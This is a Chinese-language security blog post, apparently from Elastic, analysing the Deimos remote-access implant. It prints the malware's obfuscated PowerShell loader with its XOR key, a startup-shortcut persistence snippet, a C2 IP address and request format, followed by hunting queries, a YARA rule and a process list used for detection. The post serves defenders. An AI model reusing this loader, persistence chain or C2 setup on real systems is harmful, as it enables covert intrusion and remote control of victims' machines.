从一端到另一端 - 使用 Deimos 植入程序攀登金字塔

blog-security-radar-720x420.png
这一分析的关键要点如下:
  • 目前有一款远程访问工具正在被积极开发,除了出现在最初报告的攻击活动 Jupyter Infostealer、SolarMarker 和 Yellow Cockatoo 外,还应用于其他一些攻击活动
  • 该恶意软件采用了多层复杂的混淆和加密技术
  • 该恶意软件包含了易被信任的诱饵文件和附有数字签名的可执行安装文件
  • 该恶意软件是入侵集的一部分,用于在争用资源的环境中建立初始立足点并实现持久化
  • Elastic 安全团队成功移除了观测到的 C2 基础架构

Deimos 植入程序是一种复杂形式的新型恶意软件,于 2020 年首次报告。这个远程访问工具正在积极开发中,目的是通过使用多层复杂的混淆和加密技术来逃避检测。

这些先进的防御对策,其中还包括易被信任的诱饵文件和附有数字签名的安装可执行文件,可能会阻碍识别和分析。然而,Elastic 安全团队最近成功移除了观测到的命令和控制 (C2) 基础架构,使我们能够提供检测规则和猎捕技术来帮助识别这种强大的植入程序。

这篇博文详细介绍了 Deimos 植入程序的策略、技术和程序 (TTP)。我们的目标是,披露 Deimos 开发者出于防御目的而试图掩盖的有关 Deimos 工作原理的信息,帮助安全从业人员利用 Elastic Stack 收集和分析恶意软件以及入侵数据。

概述

Elastic 智能和分析团队跟踪了 Deimos 初始访问和持久化植入程序的新变种,该变种以前与 Jupyter Infostealer 恶意软件(在别处被跟踪为 Yellow CockatooSolarMarker)有关。根据已发表的研究结果,这种植入程序在混淆技术方面已经成熟。这表明,活动群体正在积极修改它的代码库来逃避侦查对策。

我们观测到的样本没有被用作窃密程序。它是一个提供初始访问、持久化和 C2 功能的植入程序。这使得植入程序的功能很强大,因为它可以用来完成任何需要远程访问的任务。这些入侵很可能是针对受害者的集中攻击活动的开始,或者将被大量出售,用于与收集访问信息无关的其他活动。

该分析将利用 David Bianco 的痛苦金字塔分析模型来描述原子指标、工件、工具标记和 TTP 对恶意软件设计者的价值,以及发现它们对利用该植入程序的入侵集的效率有怎样的影响。此外,我们还提供了一些基于主机的猎捕技术和检测规则,可用于识别此植入程序,以及其他共享类似工件和 TTP 的植入程序。

详情

2021 年 8 月 31 日,Elastic 观测到进程注入遥测,该遥测与 Morphisec、Binary Defense 和安全研究员 Squibydoo 报告的 Jupyter Infostealer 所用技术相同 [1] [2] [3] [4] [5]。当我们开始分析并将观测到的样本与之前的研究进行比较时,我们发现混淆的实施方式发生了变化。这种变化可能是多种因素的结果,其中之一是敌手试图绕过或以其他方式逃避现有的防御或恶意软件分析。

注意:由于此恶意软件的先前版本已被完整记录,因此我们将重点关注新观测到的能力和功能。

在对该恶意软件进行动态分析的过程中,我们观测到的行为与其他地方报告的行为类似,即使用一连串运行时创建的变量(每次执行都是唯一的变量)、目录、XOR 密码和 Base64 编码命令进行混淆。下面是恶意软件设计者用来阻碍分析的新混淆策略的一个示例。我们将在剖析恶意软件的执行过程时详细讨论这一点。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397f782c691961d23cf5e785\4284a9859ab2184b017070368b4a73cd\89555a8780abdb39d3f1761918c40505\83e4d9dd7a7735a516696a49efcc2269\d1c086bb3efeb05d8098a20b80fc3c1a\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;){for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++){$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count){$j=$1e3dadee7a4b45213f674cb23b07d4b0.length}}};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;"

图 1:恶意软件安装程序执行的 PowerShell

我们观测到的样本在 %USERPROFILE% 目录中创建了一个 Base64 编码的文件,该文件嵌套在多个子目录深处,并使用 PowerShell 脚本中的运行时变量引用了该文件(在我们的示例中为 $650326ac2b1100c4508b8a700b658ad7)。一旦这个编码文件被 PowerShell 读取,它就会被删除,如图 2 所示。其他已发表的研究观测到 PowerShell 命令中的 Base64 字符串,这使得它在执行过程中是可见的。这表明恶意软件设计者利用混淆技术针对安全研究人员发表的报告作出了适应性调整。

FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7
图 2:Base64 编码的文件被读取然后删除

此外,还包含另一个变量(在我们的示例中为 $1e3dadee7a4b45213f674cb23b07d4b0),其值为 hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX。通过对 PowerShell 命令进行反混淆,我们确定该值是用于解密 650326ac2b1100c4508b8a700b658ad7 文件值的 XOR 密钥。至此,我们已经知道了 Base64 编码文件的位置,并能够对它进行解密,我们需要防止它被删除。

为此,我们利用了 Sysmon 的 FileDelete 事件配置。默认情况下,这会在“C:\Sysmon”目录中创建一个目录,然后将所有已删除的文件(以文件 MD5 + SHA256 哈希值 + 33 个 0 + 扩展名进行命名)放置在该文件夹中。此目录仅对 SYSTEM 用户可用。我们使用了 PSExec 来访问文件夹 (psexec -sid cmd)。该文件包含一个单行 Base64 编码字符串。

正如我们在上面的 PowerShell 中所观测到的,内容使用 XOR 密码予以保护,但是我们拥有密钥的密码。使用命令行工具 base64xortool,我们能够解码和解密文件:

  • base64
    • -D - 使用 base64 程序进行解码
    • -i - 要解码的输入文件
    • -o - 保存解码内容的输出文件
  • xortool-xor
    • -r - XOR 密钥
    • -f - XOR 加密的文件
    • > - 输出解密文件


base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \
  -o 650326ac2b1100c4508b8a700b658ad7.decoded

xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \
  -f 650326ac2b1100c4508b8a700b658ad7.decoded \
  > 650326ac2b1100c4508b8a700b658ad7.xor
图 3:解密 XOR 加密的 Base64 编码文件

这样会生成另一个混淆文件,以 XOR 加密的 Base64 编码变量开头,并以更多 PowerShell 结尾。

$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...

...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME
'+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\'+$a7f0a120130474bdc120c5f
13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;

图 4:最终混淆文件(已截断)

按照与之前相同的过程,我们确定了 XOR 密钥(它可能一直在尝试使用等号 (=),使其看起来像 Base64),并对文件进行了解码。

XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=
图 5:XOR 密钥

这个过程产生了一个 .NET DLL 文件,它创建了一个植入跟踪 ID 和用于持久化的文件(有关跟踪 ID 的更多信息,请参阅“分析 - 初始访问”部分)。

adab58383614f8be4ed9d27508c2b:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
图 6:.NET DLL 文件类型

该 DLL 将自己命名为 Mars.Deimos,并与 Morphisec、Binary Defense 和安全研究员 Squibydoo 之前的研究相关联 [1] [2] [3] [ 4] [5]。我们观测到的特定样本利用了 .NET 强化工具 Dotfuscator CE 6.3.0 来阻碍恶意软件分析。

我们发现特别有趣的一点是,设计者花时间修改了恶意软件,试图让软件更难被检测到,这表明他们是有动机来维护恶意软件的。当我们进入分析阶段时,了解这一点很有用,因为这意味着,我们可以对有价值的恶意软件植入程序产生影响,从而挫败那些使用它谋取经济利益的人。

分析

分析中引用的所有指标都位于指标部分。

痛苦金字塔

在进行分析之前,让我们先讨论一下用于指导流程的模型。

2013 年,安全研究员 David Bianco 发布了一个名为痛苦金字塔的分析模型。这个模型的主要目的是揭开入侵的不同部分会对攻击活动产生怎样的影响。正如您在下面的模型中看到的那样,识别哈希值很有用,但哈希值很容易被敌手更改,而一旦识别 TTP,敌手就很难做出相应调整。

图 7:痛苦金字塔
图 7:痛苦金字塔

使用痛苦金字塔的目的是,尽可能多地了解入侵,并预测您能造成的影响(即“痛苦”的程度)。在整个观测样本的分析过程中,我们会把它们叠加在痛苦金字塔上,作为评估潜在影响的说明性方法。

文件哈希值

一旦我们发现观测到了恶意软件样本的新变体,我们就对数据集应用搜索查询,并在多个垂直领域确定 10 个独特的组织,表明这似乎不是目标。从这 10 个组织中,我们观测到 10 个不同的初始安装程序文件哈希值。丢弃的编码文件也各不相同。

因此,虽然这些信息很有用,但很明显,使用文件哈希值作为检测方法在整个组织中并无用处。

IP 地址

正如其他研究人员所指出的,我们观测到了攻击活动中使用的同一 IP 地址。这个 IP 地址于 2021 年 8 月 30 日首次与恶意文件相关联。

IP           216.230.232.134
Anycast      false
City         Houston
Region       Texas
Country      United States (US)
Location     29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal       77052
Timezone     America/Chicago

图 8:有关已识别 IP 地址的信息

这个 IP 地址已报告给多个滥用站点,并由多个安全研究人员独立识别。我们于 2021 年 9 月 21 日发起了对 IP 地址的成功删除请求,移除了观测到的 C2 基础架构对任何植入程序的访问权限。

虽然这个原子指标对于防火墙上的拦截很有用,但敌手更改到另一个 IP 地址也很容易,所以让我们尝试在金字塔的更高处对敌手产生更大的影响。

工件

资源开发

我们分析的诱饵文件样本主要由斯堪的纳维亚语和斯拉夫语国家的组织签名,其中两个异常值来自英语和法语国家。多个样本使用注册为“Spoloènos s Ruèením Obmedzeným”(S.R.O.) 的数字证书进行签名。S.R.O. 是外国实体拥有的斯洛伐克企业的企业名称。

我们观测到拥有数字签名的 S.R.O. (SRO #1) 形成于 2021 年 7 月 29 日,从 2021 年 8 月 26 日开始观测到这个签名。此外,我们观测到的 S.R.O. 属于不同的 S.R.O.(SRO #2)。

图 9:诱饵文件数字签名 S.R.O.(SRO #1) 和所有者 (SRO #2)
图 9:诱饵文件数字签名 S.R.O.(SRO #1) 和所有者 (SRO #2)

SRO #2 自 2014 年 8 月 19 日开始营业,并提供各种服务。SRO #2 的所有者在前东欧集团的一个国家拥有一名指定合伙人(执行经理)。

图 10:SRO #2 和 SRO #1 为同一名执行经理
图 10:SRO #2 和 SRO #1 为同一名执行经理

我们无法明确说明这些组织或人员是有意参与、退出,还是不情愿的参与者,因此我们将不具名。这个获取可能被盗证书的过程与我们分析的其他样本一致。但是很明显,无论这些证书是如何获得的,负责人似乎都很熟悉在斯洛伐克注册外资企业所需的相关政府机构和法律。

初始访问

我们在这一层观测到的指标最多。工件层(包括主机和网络)中的指标对防御者来说都很有价值,因为如果不重新构建恶意软件的运行方式,敌手很难更改这些指标。这类指标与原子指标(哈希和基础架构)的不同之处在于,那些元素是模块化的并且可以简单地更新。工件(比如我们将在下面看到的密钥)通常在编译之前会被硬编码到源代码中,并需要进行大量的调整。

释放器创建了一系列嵌套目录,其名称长度为 32 个字符,包括字母数字和小写字母。在我们观测到的所有情况中,都有六个嵌套目录,最后一个子目录中有一个文件使用相同的命名约定。在初始执行过程中,系统会加载这个文件,使用 52 字节静态 XOR 密钥进行反混淆,然后作为 PowerShell 脚本执行。我们在检测部分包含了一个猎捕查询,用于识别此活动。

此外,.Net 程序集通过列出位于 %USERPROFILE%\APPDATA\ROAMING 的所有文件来创建字符串。它被存储为 hwid 值,是这台机器的唯一标识符。如果该文件尚不存在,则通过生成 32 个随机字节并使用自定义 Base64 编码对其进行编码可以创建该文件。

持久化

执行后,PowerShell 脚本会建立恶意软件的持久化,并在名为 %APPDATA%\Microsoft\ 的目录中生成 100200 个随机数量的文件。随机字符串仅包含大小写字母 A-Z 和数字 0-9。它的长度可以在 10 到 20 个字符之间。该目录是暂存目录。这些文件包含 50,000 至 200,000 个随机生成的字节。文件本身被命名为 .,其中每个随机字符串都遵循与目录名称相同的命名约定。最后,将最终文件写入这个目录,其中包含一个经过混淆的 .Net DLL。这就是真正的 Deimos 植入程序。它类似于此目录中具有相似属性的虚拟文件,试图进一步逃避防御。

下一个函数脚本将创建两个注册表项,为上面创建的第一个随机数据文件提供 Windows shell 处理程序。它使用该文件的文件扩展名将执行它的请求与运行 PowerShell 命令相关联。注册表项在 HKEY_CURRENT_USER\Software\Classes\\ 创建,其中除所有小写字符外,随机字符串均遵循上述相同的约定。第一个项还有一个子项 \Shell\Open\Command,其中包含加载程序 PowerShell 脚本。字符串值本身采用大小写混合的形式,这使得搜索更加困难。例如,我们的示例中使用了 PowErShELl。第二个项实际上是一个别名,与上面第一个随机生成的文件的文件扩展名相匹配。它的值与第一个项的路径中使用的随机字符串的小写值匹配。

最后的持久化工件是一个 .LNk 文件,它位于用户的 StartUp 目录中。在这个示例中,该工件被硬编码为 a44f066dfa44db9fba953a982d48b.LNk。这个快捷方式被设置为启动上面第一个随机生成的文件,并将在最小化窗口中打开。用户登录后,链接文件将告诉 Windows 启动该文件,但它不是可执行文件。上面的注册表项告诉 Windows 启动上面第一个项中配置的 PowerShell 命令来执行文件。PowerShell 命令包含混淆的 .Net DLL 的完整路径和用于对其进行反混淆的 XOR 密钥。最后,PowerShell 将通过调用类方法 [Mars.Deimos]::interact() 来执行 .Net DLL 程序集。这种持久化架构可能用文字描述很难理解,因此下面我们用一个形象化的表述来说明持久化机制。

图 11:持久化机制流程
图 11:持久化机制流程

命令和控制阶段

该恶意软件提供了一个多用途的植入程序,可以在其特权级别执行任何操作。也就是说,它可以接收和执行 Windows PE 文件、PowerShell 脚本、.Net DLL 程序集或运行任意 PowerShell 命令。

虽然有效负载封装有一些特定于命令的排列,但它们是被传递到一个通用方法来执行对 C2 服务器的 Web 请求。Web 请求使用 HTTP POST 方法并在建立通信时设置 10 分钟超时。

除了由 .Net WebRequest 提供程序填充的默认标头外,没有设置其他标头,默认标头包括:HostContent-LengthConnection:Keep-Alive

POST / HTTP/1.1
Host:216.230.232.134
Content-Length:677
Connection:Keep-Alive

图 12:C2 HTTP 标头

图 13 描述了客户端 POST 请求正文的十六进制转储。

图 13:C2 HTTP 正文
图 13:C2 HTTP 正文

白色背景的第一组字节是随机生成的,并预先放置在正文中,以便混淆网络通信中的模式。这些字节的数量在 0 到 512 之间。接下来,以绿色背景显示的是一个空字节,标志着随机数据的结束。接下来的 10 个字节(以蓝色背景显示)是服务器上次通信中发送的“cookie”值。这可能会防止将捕获的数据包重放到服务器,因为每次通信都是唯一的。没有任何具体要求说必须为 10 字节,但在我们观测到的所有流量中,都是这样的。在初次签入时,不存在这种情况。最后,这里以红色背景显示的剩余字节都是加密的正文。对于初始签入,这恰好是 256 字节的 RSA 加密数据,其中包括将用于后续通信的密钥,以及此植入程序的唯一硬件 ID。对于剩余的通信,客户端使用 AES-128 CBC 模式进行加密。对于 AES 加密,该部分的长度将始终是 16 字节的倍数。

用于初始握手的 RSA 公钥对于每个活动都是唯一的。使用图 24 中的 YARA 规则,我们能够发现总共 65 个植入程序样本。RSA 密钥提供了识别独特活动的支点,涵盖从美国到摩尔多瓦等多个国家/地区。只有 12.5% 的样本包含信息窃取功能,与在 Jupyter Infostealer 中观测到的情况类似。其余样本都是没有额外信息窃取功能的 Deimos 植入程序。这可能意味着,植入程序越来越受欢迎,因为它功能齐全,可用于任何活动的初始访问和持久化。

主循环

签入流程完成后,就会开始主流程循环。在主循环期间植入程序的默认操作是 ping 操作。ping 会发送有关环境的信息,包括机器名称、Windows 版本、CPU 架构、有关用户是否具有管理权限的信息,以及植入程序的版本字符串。

如果为植入程序计划了任务,则对 ping 命令的响应将包含设置为“file”或“command”的状态值。如果没有给定任务,植入程序将休眠 20 秒 + 0 到 20 秒的随机等待。这是所有任务之间的等待时间。

对于“file”任务,植入程序会使用任务定义中的 task_id 属性立即执行另一个请求以检索文件。植入程序需要“exe”文件、“ps1”文件或“module”(.Net Assembly 文件)。

当“exe”被下载后,它会被写入到 %TEMP%\.exe 中的一个文件中,其中 RANDOM_NAME 是一个 24 个字符的字母数字值,全部为大写字母。通过执行该文件可立即启动一个新进程,并在下一个任务间隔报告状态。

当“ps1”文件被下载后,脚本内容将使用标准输入传递给新的 PowerShell 进程。

最后,将“module”文件添加到“插件管理器”并执行“Run”方法。

对于“command”任务,不需要额外的请求。响应中的“command”值包含 PowerShell 代码,其执行方式与“ps1”文件类型相同。

据推测,区别在于快速脚本或交互式操作,威胁参与者将使用“command”类型。对于较大的脚本,将使用“file”类型。

工具

查看来自所有观测样本的元数据,我们可以看到高度可信的联系,因为它们都是使用单个 PDF 软件平台创建的。

Comments                        :This installation was built with Inno Setup.
Company Name                    :
File Description                :SlimReader Setup
File Version                    :
Legal Copyright                 : (c) InvestTech
Original File Name              :
Product Name                    :SlimReader
Product Version                 :1.4.1.2
图 14:恶意软件诱饵文件元数据

虽然这个软件好像是合法的,但它似乎经常用于创建诱饵文件。我们观测到了 53 个使用 SlimReader 工具创建的恶意软件或恶意软件相伴样本。此外,eSentire 的研究团队确定 SlimReader 是创建数十万个诱饵文件的首选工具(据报道)。

TTP

在金字塔的最顶端,我们观测到在我们的样本以及安全研究人员报告的其他样本中都有一个特征。在所有观测到的案例中,恶意软件使用了 Google 欺骗性重定向搜索引擎优化 (SEO) 中毒攻击技术来诱骗用户安装恶意软件。

SEO 中毒攻击是一种将 SEO 关键字放在文档中以提高其在搜索引擎中排名的技术,以便恶意文档和网站在网络搜索结果中的排名更高。此外,Google 欺骗性重定向是一种用于在 Google 搜索后命名初始恶意软件安装程序的技术,以此欺骗用户单击他们下载的文件。例如,如果用户搜索“免费简历模板”,然后单击一个看起来包含此类文件的恶意网站,他们将看到一个恶意软件安装程序,在本例中为 free-resume-template.exe。恶意软件会利用 PDF 图标,即使它是一个可执行文件,试图诱骗用户执行 PE 文件,这会启动下面在 Elastic Analyzer 视图中突出显示的 PowerShell 进程。

图 15:恶意软件执行混淆的 PowerShell 进程
图 15:恶意软件执行混淆的 PowerShell 进程

了解恶意软件各个进程以及它如何与痛苦金字塔中的不同元素进行交互,对于对活动群体和入侵集造成长期影响至关重要。

影响

所描述的入侵集利用了按 MITRE ATT&CK® 框架分类的多种策略和技术。可能还有其他 TTP,但在我们的分析过程中没有观测到。

策略

技术/子技术

检测

有一种现有的检测规则,可以一般性质地识别此活动。我们还发布了另外两种规则来检测这些技术。此外,我们还提供了猎捕查询,可以利用类似技术识别其他入侵集。

检测逻辑

Elastic 使用 Elastic Stack 和 Elastic Endgame 维护用于检测逻辑的公共存储库。

新检测规则

可疑的注册表修改

用户 AppData 漫游路径中的文件扩展名异常

猎捕查询

这些查询可以在 Kibana 的“安全”->“时间线”->“新时间线”→“相关性”查询编辑器中使用。虽然这些查询会识别此入侵集,但它们也可以识别其他值得注意的事件,这些事件经调查,可能会导致其他恶意活动。

此查询将识别包含混淆安装程序的初始丢弃文件。

file where file.path regex """C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}"""
图 16:识别初始安装程序的猎捕查询
图 17:使用时间线识别初始安装程序的猎捕查询
图 17:使用时间线识别初始安装程序的猎捕查询

此查询将标识第一次运行植入程序时创建的唯一“硬件 ID”文件 (hwid)。这个 ID 文件用于唯一标识此安装。

file where file.path regex~ """.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}"""
图 18:识别硬件 ID 的猎捕查询
图 19:使用时间线识别硬件 ID 的猎捕查询
图 19:使用时间线识别硬件 ID 的猎捕查询

此查询将识别 AppData\Roaming 路径中扩展名为 10 个或更多字符的任何文件。

file where file.path : "*\\appdata\\roaming\\*" and 
length(file.extension) >= 10 and 
process.name : ("cmd.exe", "powershell.exe", "wmic.exe", "mshta.exe", "pwsh.exe", "cscript.exe", "wscript.exe", "regsvr32.exe", "RegAsm.exe", "rundll32.exe", "EQNEDT32.EXE", "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE", "iexplore.exe", "InstallUtil.exe")
图 20:识别长文件扩展名的猎捕查询
图 21:在时间线中识别长文件扩展名的猎捕查询
图 21:在时间线中识别长文件扩展名的猎捕查询

此查询将在注册表中识别包含“powershell”一词的长字符串值。

registry where  registry.data.strings : "*powershell*" and length(registry.data.strings) >= 100
图 22:识别长注册表字符串的猎捕查询
图 23:在时间线中识别长注册表字符串的猎捕查询
图 23:在时间线中识别长注册表字符串的猎捕查询

YARA 规则

我们创建了一个 YARA 规则,以识别本博文中描述的 Deimos 木马 DLL 文件的存在。

rule Windows_Trojan_Deimos_DLL {
    meta:
        author = "Elastic Security"
        creation_date = "2021-09-18"
        last_modified = "2021-09-18"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Deimos"
        threat_name = "Windows.Trojan.Deimos"
        description = "Detects the presence of the Deimos trojan DLL file."
        reference = ""
        reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"

    strings:
        $a1 = "\\APPDATA\\ROAMING" wide fullword
        $a2 = "{\"action\":\"ping\",\"" wide fullword
        $a3 = "Deimos" ascii fullword
        $b1 = { 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 }
        $b2 = { 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D }
    condition:
        all of ($a*) or 1 of ($b*)
}

图 24:Deimos DLL YARA 规则

您可以在此处访问这个 YARA 规则。

防御建议

可以利用以下步骤来加强网络安全的防范措施。


  1. 使用 Sysmon 和 Elastic Endpoint 或 Winlogbeat 等技术,在您的环境中审查并实施上述检测逻辑。
  2. 审查并确保您已部署最新的 Microsoft 安全更新。
  3. 维护关键系统的备份以帮助快速恢复。

参考资料

本文档引用了以下研究:


指标

指标类型注释
f268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421SHA256 哈希诱饵文件
af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21fSHA256 哈希恶意软件安装程序
d6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54SHA256 哈希.NET DLL 文件
216[.]230[.]232[.]134IP 地址命令和控制
  • 招聘中

    就职于一个全球分布式的团队,只需通过一次 Zoom 会议,就可在团队中找到与您工作方式相同的同事。具有影响力地灵活工作?从一开始就有发展机会?